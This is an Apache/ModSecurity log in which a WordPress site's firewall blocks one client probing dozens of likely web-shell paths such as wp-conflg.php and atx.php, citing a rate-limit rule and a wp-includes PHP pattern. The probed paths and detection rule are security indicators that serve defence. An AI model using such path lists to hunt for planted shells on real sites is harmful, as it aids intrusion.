[Fri Jan 02 07:27:22.258732 2026] [:error] [pid 63098:tid 63127] [client 172.161.146.188:14666] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVcC2sez9k78gUs48kqxrAAAABQ"]
[Fri Jan 02 07:27:22.775179 2026] [:error] [pid 63099:tid 63141] [client 172.161.146.188:14679] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVcC2smCZokRPYUhzvg3NgAAAEc"]
[Fri Jan 02 07:27:23.499533 2026] [:error] [pid 63100:tid 63174] [client 172.161.146.188:14719] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVcC2zuUXUKd3KTnKl-9aQAAAI0"]
[Fri Jan 02 07:27:24.533011 2026] [:error] [pid 63099:tid 63151] [client 172.161.146.188:14642] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVcC3MmCZokRPYUhzvg3NwAAAFE"]
[Fri Jan 02 07:27:25.908866 2026] [:error] [pid 63100:tid 63171] [client 172.161.146.188:14596] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVcC3TuUXUKd3KTnKl-9bQAAAIo"]
[Fri Jan 02 07:27:27.519480 2026] [:error] [pid 63098:tid 63109] [client 172.161.146.188:5066] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVcC38ez9k78gUs48kqxtAAAAAI"]
[Fri Jan 02 07:27:28.151661 2026] [:error] [pid 63208:tid 63235] [client 172.161.146.188:14672] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVcC4HKLI9INGPLzfnetsgAAANg"]
[Fri Jan 02 07:27:28.823487 2026] [:error] [pid 63208:tid 63231] [client 172.161.146.188:14595] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVcC4HKLI9INGPLzfnettAAAANQ"]
[Fri Jan 02 07:27:29.477798 2026] [:error] [pid 63098:tid 63114] [client 172.161.146.188:14643] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVcC4cez9k78gUs48kqxtQAAAAc"]
[Fri Jan 02 07:27:30.303905 2026] [:error] [pid 63100:tid 63181] [client 172.161.146.188:14652] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVcC4juUXUKd3KTnKl-9bgAAAJQ"]
[Fri Jan 02 07:27:31.088506 2026] [:error] [pid 63099:tid 63150] [client 172.161.146.188:5060] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVcC48mCZokRPYUhzvg3PgAAAFA"]
[Fri Jan 02 07:27:32.029237 2026] [:error] [pid 63100:tid 63184] [client 172.161.146.188:14617] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVcC5DuUXUKd3KTnKl-9cQAAAJc"]
[Fri Jan 02 07:27:33.018840 2026] [:error] [pid 63099:tid 63140] [client 172.161.146.188:14677] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVcC5cmCZokRPYUhzvg3QwAAAEY"]
[Fri Jan 02 07:27:34.084505 2026] [:error] [pid 63099:tid 63151] [client 172.161.146.188:14655] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcC5smCZokRPYUhzvg3RAAAAFE"]
[Fri Jan 02 07:27:34.798686 2026] [:error] [pid 63100:tid 63165] [client 172.161.146.188:5064] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcC5juUXUKd3KTnKl-9dQAAAIQ"]
[Fri Jan 02 07:27:35.641416 2026] [:error] [pid 63208:tid 63220] [client 172.161.146.188:14616] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcC53KLI9INGPLzfnetugAAAMk"]
[Fri Jan 02 07:27:36.294375 2026] [:error] [pid 63208:tid 63211] [client 172.161.146.188:14625] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aVcC6HKLI9INGPLzfnetvQAAAMA"]
[Fri Jan 02 07:27:36.908142 2026] [:error] [pid 63100:tid 63173] [client 172.161.146.188:14665] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVcC6DuUXUKd3KTnKl-9eAAAAIw"]
[Fri Jan 02 07:27:37.482385 2026] [:error] [pid 63100:tid 63171] [client 172.161.146.188:14667] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVcC6TuUXUKd3KTnKl-9eQAAAIo"]
[Fri Jan 02 07:27:38.034620 2026] [:error] [pid 63208:tid 63215] [client 172.161.146.188:5063] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVcC6nKLI9INGPLzfnetwQAAAMQ"]
[Fri Jan 02 07:27:38.985043 2026] [:error] [pid 63208:tid 63234] [client 172.161.146.188:14684] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVcC6nKLI9INGPLzfnetwgAAANc"]
[Fri Jan 02 07:27:39.973072 2026] [:error] [pid 63208:tid 63223] [client 172.161.146.188:14693] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aVcC63KLI9INGPLzfnetxgAAAMw"]
[Fri Jan 02 07:27:40.777438 2026] [:error] [pid 63100:tid 63163] [client 172.161.146.188:5061] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aVcC7DuUXUKd3KTnKl-9fwAAAII"]
[Fri Jan 02 07:27:41.851778 2026] [:error] [pid 63099:tid 63150] [client 172.161.146.188:14671] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aVcC7cmCZokRPYUhzvg3SwAAAFA"]
[Fri Jan 02 07:27:42.404243 2026] [:error] [pid 63098:tid 63116] [client 172.161.146.188:5009] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aVcC7sez9k78gUs48kqxvAAAAAk"]
[Fri Jan 02 07:27:42.896039 2026] [:error] [pid 63100:tid 63162] [client 172.161.146.188:14700] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVcC7juUXUKd3KTnKl-9ggAAAIE"]
[Fri Jan 02 07:27:43.417004 2026] [:error] [pid 63099:tid 63145] [client 172.161.146.188:14661] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVcC78mCZokRPYUhzvg3TQAAAEs"]
[Fri Jan 02 07:27:43.900317 2026] [:error] [pid 63099:tid 63154] [client 172.161.146.188:14660] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVcC78mCZokRPYUhzvg3TwAAAFQ"]
[Fri Jan 02 07:27:44.551032 2026] [:error] [pid 63098:tid 63111] [client 172.161.146.188:14646] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aVcC8Mez9k78gUs48kqxwQAAAAQ"]
[Fri Jan 02 07:27:45.122914 2026] [:error] [pid 63100:tid 63177] [client 172.161.146.188:14681] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVcC8TuUXUKd3KTnKl-9hgAAAJA"]
[Fri Jan 02 07:27:45.707460 2026] [:error] [pid 63100:tid 63173] [client 172.161.146.188:14607] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVcC8TuUXUKd3KTnKl-9hwAAAIw"]
[Fri Jan 02 07:27:46.426078 2026] [:error] [pid 63099:tid 63157] [client 172.161.146.188:14682] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVcC8smCZokRPYUhzvg3UQAAAFc"]
[Fri Jan 02 07:27:47.352797 2026] [:error] [pid 63099:tid 63148] [client 172.161.146.188:14605] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aVcC88mCZokRPYUhzvg3UgAAAE4"]
[Fri Jan 02 07:27:47.893670 2026] [:error] [pid 63099:tid 63138] [client 172.161.146.188:5086] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVcC88mCZokRPYUhzvg3UwAAAEQ"]
[Fri Jan 02 07:27:48.625207 2026] [:error] [pid 63100:tid 63175] [client 172.161.146.188:14619] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVcC9DuUXUKd3KTnKl-9iQAAAI4"]
[Fri Jan 02 07:27:49.222267 2026] [:error] [pid 63100:tid 63166] [client 172.161.146.188:14657] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVcC9TuUXUKd3KTnKl-9iwAAAIU"]
[Fri Jan 02 07:27:49.812386 2026] [:error] [pid 63208:tid 63233] [client 172.161.146.188:14701] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVcC9XKLI9INGPLzfnet0QAAANY"]
[Fri Jan 02 07:27:50.331869 2026] [:error] [pid 63100:tid 63163] [client 172.161.146.188:14614] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aVcC9juUXUKd3KTnKl-9jQAAAII"]
[Fri Jan 02 07:27:50.947824 2026] [:error] [pid 63208:tid 63219] [client 172.161.146.188:14601] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aVcC9nKLI9INGPLzfnet1QAAAMg"]
[Fri Jan 02 07:27:51.476356 2026] [:error] [pid 63208:tid 63234] [client 172.161.146.188:14628] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aVcC93KLI9INGPLzfnet2gAAANc"]
[Fri Jan 02 07:27:51.969855 2026] [:error] [pid 63098:tid 63124] [client 172.161.146.188:14698] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aVcC98ez9k78gUs48kqx1wAAABE"]
[Fri Jan 02 07:27:52.483815 2026] [:error] [pid 63098:tid 63125] [client 172.161.146.188:14613] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVcC-Mez9k78gUs48kqx6AAAABI"]
[Fri Jan 02 07:27:53.158787 2026] [:error] [pid 63099:tid 63158] [client 172.161.146.188:14690] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVcC-cmCZokRPYUhzvg3VQAAAFg"]
[Fri Jan 02 07:27:53.719797 2026] [:error] [pid 63098:tid 63111] [client 172.161.146.188:5093] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVcC-cez9k78gUs48kqyAAAAAAQ"]
[Fri Jan 02 07:27:54.415791 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:5076] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVcC-nKLI9INGPLzfneuLgAAAMI"]
[Fri Jan 02 07:27:54.988330 2026] [:error] [pid 63098:tid 63117] [client 172.161.146.188:5096] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVcC-sez9k78gUs48kqyCwAAAAo"]
[Fri Jan 02 07:27:55.492032 2026] [:error] [pid 63100:tid 63167] [client 172.161.146.188:5118] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aVcC-zuUXUKd3KTnKl-95AAAAIY"]
[Fri Jan 02 07:28:09.398119 2026] [:error] [pid 63208:tid 63235] [client 172.161.146.188:14604] [client 172.161.146.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVcDCXKLI9INGPLzfneuRQAAANg"]
[Fri Jan 02 07:28:40.046351 2026] [:error] [pid 63208:tid 63224] [client 172.161.146.188:14651] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVcDKHKLI9INGPLzfneuhAAAAM0"]
[Fri Jan 02 07:28:40.832161 2026] [:error] [pid 63208:tid 63219] [client 172.161.146.188:14685] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVcDKHKLI9INGPLzfneujQAAAMg"]
[Fri Jan 02 07:28:41.702614 2026] [:error] [pid 63099:tid 63141] [client 172.161.146.188:5082] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVcDKcmCZokRPYUhzvg3ogAAAEc"]
[Fri Jan 02 07:28:42.667983 2026] [:error] [pid 63100:tid 63174] [client 172.161.146.188:14718] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVcDKjuUXUKd3KTnKl--IgAAAI0"]
[Fri Jan 02 07:28:43.666310 2026] [:error] [pid 63098:tid 63122] [client 172.161.146.188:5068] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVcDK8ez9k78gUs48kqybQAAAA8"]
[Fri Jan 02 07:28:44.337724 2026] [:error] [pid 63098:tid 63121] [client 172.161.146.188:14611] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVcDLMez9k78gUs48kqybgAAAA4"]
[Fri Jan 02 07:28:45.082898 2026] [:error] [pid 63098:tid 63127] [client 172.161.146.188:14629] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVcDLcez9k78gUs48kqycQAAABQ"]
[Fri Jan 02 07:28:45.892939 2026] [:error] [pid 63208:tid 63216] [client 172.161.146.188:14633] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aVcDLXKLI9INGPLzfneumAAAAMU"]
